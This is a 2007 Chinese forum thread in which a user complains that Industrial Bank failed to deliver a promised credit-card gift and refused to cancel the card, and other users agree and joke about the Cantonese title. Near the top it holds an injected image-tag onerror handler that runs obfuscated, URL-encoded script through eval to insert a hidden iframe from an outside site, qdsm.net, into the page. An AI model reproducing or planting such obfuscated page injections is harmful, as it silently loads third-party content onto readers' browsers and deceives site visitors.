致兴业：今时今日，咁嘅服务态度係唔哒嘅

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

兴业办卡有礼，承诺三个月内配送到位，可偶在去年底办的卡至今仍未收到相应礼物。
两度致电兴业（相隔半月以上），均已礼品在配送中的理由推搪，叫偶在近期等待配送商送货。偶表示不要礼物了，要求给予注销卡片，却遭到拒绝！在我想来，客户应有选择权吧，特别对于如此服务态度，实在不敢恭维。
试问兴业，如此要客户无限期的等待，也就是说客户对消费款也可以无限期的处在紧急还款处理中？
兴业：今时今日，咁嘅服务态度係唔哒嘅

[ 本帖{zh1}由 冷刀浪魂 于 2007-3-10 13:36 编辑 ]
--------------------------------------------------------------------
　顶。。。我的礼物也没收到
--------------------------------------------------------------------
据说有的卡人半年有余也没拿到礼物。。咦
--------------------------------------------------------------------
兴业的礼品很多人都没有收到。。还好我没有申请。。
不用气到讲粤语的啦，人哋都睇唔明。
--------------------------------------------------------------------


QUOTE:原帖由 MGK 于 2007-3-10 15:04 发表
兴业的礼品很多人都没有收到。。还好我没有申请。。
不用气到讲粤语的啦，人哋都睇唔明。 正想找你出来翻译呢。
--------------------------------------------------------------------
好吧，我通俗的翻译一下：
现在这个时候，这样的服务态度是不行的。
--------------------------------------------------------------------
我也没有收到.
--------------------------------------------------------------------


QUOTE:原帖由 MGK 于 2007-3-10 23:53 发表
好吧，我通俗的翻译一下：
现在这个时候，这样的服务态度是不行的。 拜托不要像港产片一样翻得那么通俗行不？前面今时今日大伙应该都会明白的。
--------------------------------------------------------------------


QUOTE:原帖由 sisu2007 于 2007-3-10 23:51 发表


正想找你出来翻译呢。 你丫不知道我也是广州人吗？你丫居然不找我翻译，真气坏我了。
--------------------------------------------------------------------
这种醋都吃，呼唤品味！！
下次让你来好了。。